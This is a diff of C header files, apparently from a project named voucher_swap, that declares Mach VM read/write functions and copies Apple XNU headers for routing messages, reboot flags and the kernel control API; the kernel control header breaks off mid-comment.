#ifndef VOUCHER_SWAP__MACH_VM_H_
|
||||
#define VOUCHER_SWAP__MACH_VM_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_deallocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_read_overwrite
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t *outsize
|
||||
);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,249 @@
|
||||
/*
|
||||
* Copyright (c) 2000-2015 Apple Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/*
|
||||
* Copyright (c) 1980, 1986, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)route.h 8.3 (Berkeley) 4/19/94
|
||||
* $FreeBSD: src/sys/net/route.h,v 1.36.2.1 2000/08/16 06:14:23 jayanth Exp $
|
||||
*/
|
||||
|
||||
#ifndef _NET_ROUTE_H_
|
||||
#define _NET_ROUTE_H_
|
||||
#include <sys/appleapiopts.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
/*
|
||||
* These numbers are used by reliable protocols for determining
|
||||
* retransmission behavior and are included in the routing structure.
|
||||
*/
|
||||
struct rt_metrics {
|
||||
u_int32_t rmx_locks; /* Kernel leaves these values alone */
|
||||
u_int32_t rmx_mtu; /* MTU for this path */
|
||||
u_int32_t rmx_hopcount; /* max hops expected */
|
||||
int32_t rmx_expire; /* lifetime for route, e.g. redirect */
|
||||
u_int32_t rmx_recvpipe; /* inbound delay-bandwidth product */
|
||||
u_int32_t rmx_sendpipe; /* outbound delay-bandwidth product */
|
||||
u_int32_t rmx_ssthresh; /* outbound gateway buffer limit */
|
||||
u_int32_t rmx_rtt; /* estimated round trip time */
|
||||
u_int32_t rmx_rttvar; /* estimated rtt variance */
|
||||
u_int32_t rmx_pksent; /* packets sent using this route */
|
||||
u_int32_t rmx_filler[4]; /* will be used for T/TCP later */
|
||||
};
|
||||
|
||||
/*
|
||||
* rmx_rtt and rmx_rttvar are stored as microseconds;
|
||||
*/
|
||||
#define RTM_RTTUNIT 1000000 /* units for rtt, rttvar, as units per sec */
|
||||
|
||||
|
||||
|
||||
#define RTF_UP 0x1 /* route usable */
|
||||
#define RTF_GATEWAY 0x2 /* destination is a gateway */
|
||||
#define RTF_HOST 0x4 /* host entry (net otherwise) */
|
||||
#define RTF_REJECT 0x8 /* host or net unreachable */
|
||||
#define RTF_DYNAMIC 0x10 /* created dynamically (by redirect) */
|
||||
#define RTF_MODIFIED 0x20 /* modified dynamically (by redirect) */
|
||||
#define RTF_DONE 0x40 /* message confirmed */
|
||||
#define RTF_DELCLONE 0x80 /* delete cloned route */
|
||||
#define RTF_CLONING 0x100 /* generate new routes on use */
|
||||
#define RTF_XRESOLVE 0x200 /* external daemon resolves name */
|
||||
#define RTF_LLINFO 0x400 /* generated by link layer (e.g. ARP) */
|
||||
#define RTF_STATIC 0x800 /* manually added */
|
||||
#define RTF_BLACKHOLE 0x1000 /* just discard pkts (during updates) */
|
||||
#define RTF_NOIFREF 0x2000 /* not eligible for RTF_IFREF */
|
||||
#define RTF_PROTO2 0x4000 /* protocol specific routing flag */
|
||||
#define RTF_PROTO1 0x8000 /* protocol specific routing flag */
|
||||
|
||||
#define RTF_PRCLONING 0x10000 /* protocol requires cloning */
|
||||
#define RTF_WASCLONED 0x20000 /* route generated through cloning */
|
||||
#define RTF_PROTO3 0x40000 /* protocol specific routing flag */
|
||||
/* 0x80000 unused */
|
||||
#define RTF_PINNED 0x100000 /* future use */
|
||||
#define RTF_LOCAL 0x200000 /* route represents a local address */
|
||||
#define RTF_BROADCAST 0x400000 /* route represents a bcast address */
|
||||
#define RTF_MULTICAST 0x800000 /* route represents a mcast address */
|
||||
#define RTF_IFSCOPE 0x1000000 /* has valid interface scope */
|
||||
#define RTF_CONDEMNED 0x2000000 /* defunct; no longer modifiable */
|
||||
#define RTF_IFREF 0x4000000 /* route holds a ref to interface */
|
||||
#define RTF_PROXY 0x8000000 /* proxying, no interface scope */
|
||||
#define RTF_ROUTER 0x10000000 /* host is a router */
|
||||
/* 0x20000000 and up unassigned */
|
||||
|
||||
#define RTF_BITS \
|
||||
"\020\1UP\2GATEWAY\3HOST\4REJECT\5DYNAMIC\6MODIFIED\7DONE" \
|
||||
"\10DELCLONE\11CLONING\12XRESOLVE\13LLINFO\14STATIC\15BLACKHOLE" \
|
||||
"\16NOIFREF\17PROTO2\20PROTO1\21PRCLONING\22WASCLONED\23PROTO3" \
|
||||
"\25PINNED\26LOCAL\27BROADCAST\30MULTICAST\31IFSCOPE\32CONDEMNED" \
|
||||
"\33IFREF\34PROXY\35ROUTER"
|
||||
|
||||
/*
|
||||
* Routing statistics.
|
||||
*/
|
||||
struct rtstat {
|
||||
short rts_badredirect; /* bogus redirect calls */
|
||||
short rts_dynamic; /* routes created by redirects */
|
||||
short rts_newgateway; /* routes modified by redirects */
|
||||
short rts_unreach; /* lookups which failed */
|
||||
short rts_wildcard; /* lookups satisfied by a wildcard */
|
||||
};
|
||||
|
||||
/*
|
||||
* Structures for routing messages.
|
||||
*/
|
||||
struct rt_msghdr {
|
||||
u_short rtm_msglen; /* to skip over non-understood messages */
|
||||
u_char rtm_version; /* future binary compatibility */
|
||||
u_char rtm_type; /* message type */
|
||||
u_short rtm_index; /* index for associated ifp */
|
||||
int rtm_flags; /* flags, incl. kern & message, e.g. DONE */
|
||||
int rtm_addrs; /* bitmask identifying sockaddrs in msg */
|
||||
pid_t rtm_pid; /* identify sender */
|
||||
int rtm_seq; /* for sender to identify action */
|
||||
int rtm_errno; /* why failed */
|
||||
int rtm_use; /* from rtentry */
|
||||
u_int32_t rtm_inits; /* which metrics we are initializing */
|
||||
struct rt_metrics rtm_rmx; /* metrics themselves */
|
||||
};
|
||||
|
||||
struct rt_msghdr2 {
|
||||
u_short rtm_msglen; /* to skip over non-understood messages */
|
||||
u_char rtm_version; /* future binary compatibility */
|
||||
u_char rtm_type; /* message type */
|
||||
u_short rtm_index; /* index for associated ifp */
|
||||
int rtm_flags; /* flags, incl. kern & message, e.g. DONE */
|
||||
int rtm_addrs; /* bitmask identifying sockaddrs in msg */
|
||||
int32_t rtm_refcnt; /* reference count */
|
||||
int rtm_parentflags; /* flags of the parent route */
|
||||
int rtm_reserved; /* reserved field set to 0 */
|
||||
int rtm_use; /* from rtentry */
|
||||
u_int32_t rtm_inits; /* which metrics we are initializing */
|
||||
struct rt_metrics rtm_rmx; /* metrics themselves */
|
||||
};
|
||||
|
||||
|
||||
#define RTM_VERSION 5 /* Up the ante and ignore older versions */
|
||||
|
||||
/*
|
||||
* Message types.
|
||||
*/
|
||||
#define RTM_ADD 0x1 /* Add Route */
|
||||
#define RTM_DELETE 0x2 /* Delete Route */
|
||||
#define RTM_CHANGE 0x3 /* Change Metrics or flags */
|
||||
#define RTM_GET 0x4 /* Report Metrics */
|
||||
#define RTM_LOSING 0x5 /* RTM_LOSING is no longer generated by xnu
|
||||
and is deprecated */
|
||||
#define RTM_REDIRECT 0x6 /* Told to use different route */
|
||||
#define RTM_MISS 0x7 /* Lookup failed on this address */
|
||||
#define RTM_LOCK 0x8 /* fix specified metrics */
|
||||
#define RTM_OLDADD 0x9 /* caused by SIOCADDRT */
|
||||
#define RTM_OLDDEL 0xa /* caused by SIOCDELRT */
|
||||
#define RTM_RESOLVE 0xb /* req to resolve dst to LL addr */
|
||||
#define RTM_NEWADDR 0xc /* address being added to iface */
|
||||
#define RTM_DELADDR 0xd /* address being removed from iface */
|
||||
#define RTM_IFINFO 0xe /* iface going up/down etc. */
|
||||
#define RTM_NEWMADDR 0xf /* mcast group membership being added to if */
|
||||
#define RTM_DELMADDR 0x10 /* mcast group membership being deleted */
|
||||
#define RTM_IFINFO2 0x12 /* */
|
||||
#define RTM_NEWMADDR2 0x13 /* */
|
||||
#define RTM_GET2 0x14 /* */
|
||||
|
||||
/*
|
||||
* Bitmask values for rtm_inits and rmx_locks.
|
||||
*/
|
||||
#define RTV_MTU 0x1 /* init or lock _mtu */
|
||||
#define RTV_HOPCOUNT 0x2 /* init or lock _hopcount */
|
||||
#define RTV_EXPIRE 0x4 /* init or lock _expire */
|
||||
#define RTV_RPIPE 0x8 /* init or lock _recvpipe */
|
||||
#define RTV_SPIPE 0x10 /* init or lock _sendpipe */
|
||||
#define RTV_SSTHRESH 0x20 /* init or lock _ssthresh */
|
||||
#define RTV_RTT 0x40 /* init or lock _rtt */
|
||||
#define RTV_RTTVAR 0x80 /* init or lock _rttvar */
|
||||
|
||||
/*
|
||||
* Bitmask values for rtm_addrs.
|
||||
*/
|
||||
#define RTA_DST 0x1 /* destination sockaddr present */
|
||||
#define RTA_GATEWAY 0x2 /* gateway sockaddr present */
|
||||
#define RTA_NETMASK 0x4 /* netmask sockaddr present */
|
||||
#define RTA_GENMASK 0x8 /* cloning mask sockaddr present */
|
||||
#define RTA_IFP 0x10 /* interface name sockaddr present */
|
||||
#define RTA_IFA 0x20 /* interface addr sockaddr present */
|
||||
#define RTA_AUTHOR 0x40 /* sockaddr for author of redirect */
|
||||
#define RTA_BRD 0x80 /* for NEWADDR, broadcast or p-p dest addr */
|
||||
|
||||
/*
|
||||
* Index offsets for sockaddr array for alternate internal encoding.
|
||||
*/
|
||||
#define RTAX_DST 0 /* destination sockaddr present */
|
||||
#define RTAX_GATEWAY 1 /* gateway sockaddr present */
|
||||
#define RTAX_NETMASK 2 /* netmask sockaddr present */
|
||||
#define RTAX_GENMASK 3 /* cloning mask sockaddr present */
|
||||
#define RTAX_IFP 4 /* interface name sockaddr present */
|
||||
#define RTAX_IFA 5 /* interface addr sockaddr present */
|
||||
#define RTAX_AUTHOR 6 /* sockaddr for author of redirect */
|
||||
#define RTAX_BRD 7 /* for NEWADDR, broadcast or p-p dest addr */
|
||||
#define RTAX_MAX 8 /* size of array to allocate */
|
||||
|
||||
struct rt_addrinfo {
|
||||
int rti_addrs;
|
||||
struct sockaddr *rti_info[RTAX_MAX];
|
||||
};
|
||||
|
||||
|
||||
#endif /* _NET_ROUTE_H_ */
|
||||
@@ -0,0 +1,143 @@
|
||||
/*
|
||||
* Copyright (c) 2000-2006 Apple Computer, Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/* Copyright (c) 1995 NeXT Computer, Inc. All Rights Reserved */
|
||||
/*
|
||||
* Copyright (c) 1982, 1986, 1988, 1993, 1994
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)reboot.h 8.3 (Berkeley) 12/13/94
|
||||
*/
|
||||
|
||||
#ifndef _SYS_REBOOT_H_
|
||||
#define _SYS_REBOOT_H_
|
||||
|
||||
#include <sys/appleapiopts.h>
|
||||
#include <sys/cdefs.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* Arguments to reboot system call.
|
||||
*/
|
||||
|
||||
#ifdef __APPLE_API_PRIVATE
|
||||
#define RB_AUTOBOOT 0 /* flags for system auto-booting itself */
|
||||
|
||||
#define RB_ASKNAME 0x01 /* ask for file name to reboot from */
|
||||
#define RB_SINGLE 0x02 /* reboot to single user only */
|
||||
#define RB_NOSYNC 0x04 /* dont sync before reboot */
|
||||
#define RB_HALT 0x08 /* don't reboot, just halt */
|
||||
#define RB_INITNAME 0x10 /* name given for /etc/init */
|
||||
#define RB_DFLTROOT 0x20 /* use compiled-in rootdev */
|
||||
#define RB_ALTBOOT 0x40 /* use /boot.old vs /boot */
|
||||
#define RB_UNIPROC 0x80 /* don't start slaves */
|
||||
#define RB_SAFEBOOT 0x100 /* booting safe */
|
||||
#define RB_UPSDELAY 0x200 /* Delays restart by 5 minutes */
|
||||
#define RB_QUICK 0x400 /* quick and ungraceful reboot with file system caches flushed*/
|
||||
#define RB_PANIC 0x800 /* panic the kernel */
|
||||
|
||||
#ifndef KERNEL
|
||||
__BEGIN_DECLS
|
||||
/* userspace reboot control */
|
||||
int usrctl(uint32_t flags);
|
||||
/* The normal reboot syscall. */
|
||||
int reboot(int howto);
|
||||
/* Used with RB_PANIC to panic the kernel from userspace with a message.
|
||||
* Requires an entitlement on Release. */
|
||||
int reboot_np(int howto, const char *message);
|
||||
__END_DECLS
|
||||
#endif
|
||||
|
||||
#endif /* __APPLE_API_PRIVATE */
|
||||
|
||||
#ifdef __APPLE_API_OBSOLETE
|
||||
/*
|
||||
* Constants for converting boot-style device number to type,
|
||||
* adaptor (uba, mba, etc), unit number and partition number.
|
||||
* Type (== major device number) is in the low byte
|
||||
* for backward compatibility. Except for that of the "magic
|
||||
* number", each mask applies to the shifted value.
|
||||
* Format:
|
||||
* (4) (4) (4) (4) (8) (8)
|
||||
* --------------------------------
|
||||
* |MA | AD| CT| UN| PART | TYPE |
|
||||
* --------------------------------
|
||||
*/
|
||||
#define B_ADAPTORSHIFT 24
|
||||
#define B_ADAPTORMASK 0x0f
|
||||
#define B_ADAPTOR(val) (((val) >> B_ADAPTORSHIFT) & B_ADAPTORMASK)
|
||||
#define B_CONTROLLERSHIFT 20
|
||||
#define B_CONTROLLERMASK 0xf
|
||||
#define B_CONTROLLER(val) (((val)>>B_CONTROLLERSHIFT) & B_CONTROLLERMASK)
|
||||
#define B_UNITSHIFT 16
|
||||
#define B_UNITMASK 0xff
|
||||
#define B_UNIT(val) (((val) >> B_UNITSHIFT) & B_UNITMASK)
|
||||
#define B_PARTITIONSHIFT 8
|
||||
#define B_PARTITIONMASK 0xff
|
||||
#define B_PARTITION(val) (((val) >> B_PARTITIONSHIFT) & B_PARTITIONMASK)
|
||||
#define B_TYPESHIFT 0
|
||||
#define B_TYPEMASK 0xff
|
||||
#define B_TYPE(val) (((val) >> B_TYPESHIFT) & B_TYPEMASK)
|
||||
#define B_MAGICMASK 0xf0000000
|
||||
#define B_DEVMAGIC 0xa0000000
|
||||
|
||||
#define MAKEBOOTDEV(type, adaptor, controller, unit, partition) \
|
||||
(((type) << B_TYPESHIFT) | ((adaptor) << B_ADAPTORSHIFT) | \
|
||||
((controller) << B_CONTROLLERSHIFT) | ((unit) << B_UNITSHIFT) | \
|
||||
((partition) << B_PARTITIONSHIFT) | B_DEVMAGIC)
|
||||
|
||||
#endif /* __APPLE_API_OBSOLETE */
|
||||
|
||||
#endif /* _SYS_REBOOT_H_ */
|
||||
@@ -0,0 +1,662 @@
|
||||
/*
|
||||
* Copyright (c) 2000-2004, 2012-2016 Apple Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/*!
|
||||
@header kern_control.h
|
||||
This header defines an API to communicate between a kernel
|
||||
extension and a process outside of the kernel.
|
||||
*/
|
||||
|
||||
#ifndef KPI_KERN_CONTROL_H
|
||||
#define KPI_KERN_CONTROL_H
|
||||
|
||||
|
||||
#include <sys/appleapiopts.h>
|
||||
#include <sys/_types/_u_char.h>
|
||||
#include <sys/_types/_u_int16_t.h>
|
||||
#include <sys/_types/_u_int32_t.h>
|
||||
|
||||
/*
|
||||
* Define Controller event subclass, and associated events.
|
||||
* Subclass of KEV_SYSTEM_CLASS
|
||||
*/
|
||||
|
||||
/*!
|
||||
@defined KEV_CTL_SUBCLASS
|
||||
@discussion The kernel event subclass for kernel control events.
|
||||
*/
|
||||
#define KEV_CTL_SUBCLASS 2
|
||||
|
||||
/*!
|
||||
@defined KEV_CTL_REGISTERED
|
||||
@discussion The event code indicating a new controller was
|
||||
registered. The data portion will contain a ctl_event_data.
|
||||
*/
|
||||
#define KEV_CTL_REGISTERED 1 /* a new controller appears */
|
||||
|
||||
/*!
|
||||
@defined KEV_CTL_DEREGISTERED
|
||||
@discussion The event code indicating a controller was unregistered.
|
||||
The data portion will contain a ctl_event_data.
|
||||
*/
|
||||
#define KEV_CTL_DEREGISTERED 2 /* a controller disappears */
|
||||
|
||||
/*!
|
||||
@struct ctl_event_data
|
||||
@discussion This structure is used for KEV_CTL_SUBCLASS kernel
|
||||
events.
|
||||
@field ctl_id The kernel control id.
|
||||
@field ctl_unit The kernel control unit.
|
||||
*/
|
||||
struct ctl_event_data {
|
||||
u_int32_t ctl_id; /* Kernel Controller ID */
|
||||
u_int32_t ctl_unit;
|
||||
};
|
||||
|
||||
/*
|
||||
* Controls destined to the Controller Manager.
|
||||
*/
|
||||
|
||||
/*!
|
||||
@defined CTLIOCGCOUNT
|
||||
@discussion The CTLIOCGCOUNT ioctl can be used to determine the
|
||||
number of kernel controllers registered.
|
||||
*/
|
||||
#define CTLIOCGCOUNT _IOR('N', 2, int) /* get number of control structures registered */
|
||||
|
||||
/*!
|
||||
@defined CTLIOCGINFO
|
||||
@discussion The CTLIOCGINFO ioctl can be used to convert a kernel
|
||||
control name to a kernel control id.
|
||||
*/
|
||||
#define CTLIOCGINFO _IOWR('N', 3, struct ctl_info) /* get id from name */
|
||||
|
||||
|
||||
/*!
|
||||
@defined MAX_KCTL_NAME
|
||||
@discussion Kernel control names must be no longer than
|
||||
MAX_KCTL_NAME.
|
||||
*/
|
||||
#define MAX_KCTL_NAME 96
|
||||
|
||||
/*
|
||||
* Controls destined to the Controller Manager.
|
||||
*/
|
||||
|
||||
/*!
|
||||
@struct ctl_info
|
||||
@discussion This structure is used with the CTLIOCGINFO ioctl to
|
||||
translate from a kernel control name to a control id.
|
||||
@field ctl_id The kernel control id, filled out upon return.
|
||||
@field ctl_name The kernel control name to find.
|
||||
*/
|
||||
struct ctl_info {
|
||||
u_int32_t ctl_id; /* Kernel Controller ID */
|
||||
char ctl_name[MAX_KCTL_NAME]; /* Kernel Controller Name (a C string) */
|
||||
};
|
||||
|
||||
|
||||
/*!
|
||||
@struct sockaddr_ctl
|
||||
@discussion The controller address structure is used to establish
|
||||
contact between a user client and a kernel controller. The
|
||||
sc_id/sc_unit uniquely identify each controller. sc_id is a
|
||||
unique identifier assigned to the controller. The identifier can
|
||||
be assigned by the system at registration time or be a 32-bit
|
||||
creator code obtained from Apple Computer. sc_unit is a unit
|
||||
number for this sc_id, and is privately used by the kernel
|
||||
controller to identify several instances of the controller.
|
||||
@field sc_len The length of the structure.
|
||||
@field sc_family AF_SYSTEM.
|
||||
@field ss_sysaddr AF_SYS_KERNCONTROL.
|
||||
@field sc_id Controller unique identifier.
|
||||
@field sc_unit Kernel controller private unit number.
|
||||
@field sc_reserved Reserved, must be set to zero.
|
||||
*/
|
||||
struct sockaddr_ctl {
|
||||
u_char sc_len; /* depends on size of bundle ID string */
|
||||
u_char sc_family; /* AF_SYSTEM */
|
||||
u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */
|
||||
u_int32_t sc_id; /* Controller unique identifier */
|
||||
u_int32_t sc_unit; /* Developer private unit number */
|
||||
u_int32_t sc_reserved[5];
|
||||
};
|
||||
|
||||
#ifdef PRIVATE
|
||||
|
||||
struct xkctl_reg {
|
||||
u_int32_t xkr_len;
|
||||
u_int32_t xkr_kind;
|
||||
u_int32_t xkr_id;
|
||||
u_int32_t xkr_reg_unit;
|
||||
u_int32_t xkr_flags;
|
||||
u_int64_t xkr_kctlref;
|
||||
u_int32_t xkr_recvbufsize;
|
||||
u_int32_t xkr_sendbufsize;
|
||||
u_int32_t xkr_lastunit;
|
||||
u_int32_t xkr_pcbcount;
|
||||
u_int64_t xkr_connect;
|
||||
u_int64_t xkr_disconnect;
|
||||
u_int64_t xkr_send;
|
||||
u_int64_t xkr_send_list;
|
||||
u_int64_t xkr_setopt;
|
||||
u_int64_t xkr_getopt;
|
||||
u_int64_t xkr_rcvd;
|
||||
char xkr_name[MAX_KCTL_NAME];
|
||||
};
|
||||
|
||||
struct xkctlpcb {
|
||||
u_int32_t xkp_len;
|
||||
u_int32_t xkp_kind;
|
||||
u_int64_t xkp_kctpcb;
|
||||
u_int32_t xkp_unit;
|
||||
u_int32_t xkp_kctlid;
|
||||
u_int64_t xkp_kctlref;
|
||||
char xkp_kctlname[MAX_KCTL_NAME];
|
||||
};
|
||||
|
||||
struct kctlstat {
|
||||
u_int64_t kcs_reg_total __attribute__((aligned(8)));
|
||||
u_int64_t kcs_reg_count __attribute__((aligned(8)));
|
||||
u_int64_t kcs_pcbcount __attribute__((aligned(8)));
|
||||
u_int64_t kcs_gencnt __attribute__((aligned(8)));
|
||||
u_int64_t kcs_connections __attribute__((aligned(8)));
|
||||
u_int64_t kcs_conn_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_send_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_send_list_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_enqueue_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_enqueue_fullsock __attribute__((aligned(8)));
|
||||
u_int64_t kcs_bad_kctlref __attribute__((aligned(8)));
|
||||
u_int64_t kcs_tbl_size_too_big __attribute__((aligned(8)));
|
||||
u_int64_t kcs_enqdata_mb_alloc_fail __attribute__((aligned(8)));
|
||||
u_int64_t kcs_enqdata_sbappend_fail __attribute__((aligned(8)));
|
||||
};
|
||||
|
||||
#endif /* PRIVATE */
|
||||
|
||||
#ifdef KERNEL
|
||||
|
||||
#include <sys/kpi_mbuf.h>
|
||||
|
||||
/*!
|
||||
@typedef kern_ctl_ref
|
||||
@discussion A control reference is used to track an attached kernel
|
||||
control. Registering a kernel control will create a kernel
|
||||
control reference. This reference is required for sending data
|
||||
or removing the kernel control. This reference will be passed to
|
||||
callbacks for that kernel control.
|
||||
*/
|
||||
typedef void * kern_ctl_ref;
|
||||
|
||||
/*!
|
||||
@defined CTL_FLAG_PRIVILEGED
|
||||
@discussion The CTL_FLAG_PRIVILEGED flag is passed in ctl_flags. If
|
||||
this flag is set, only privileged processes may attach to this
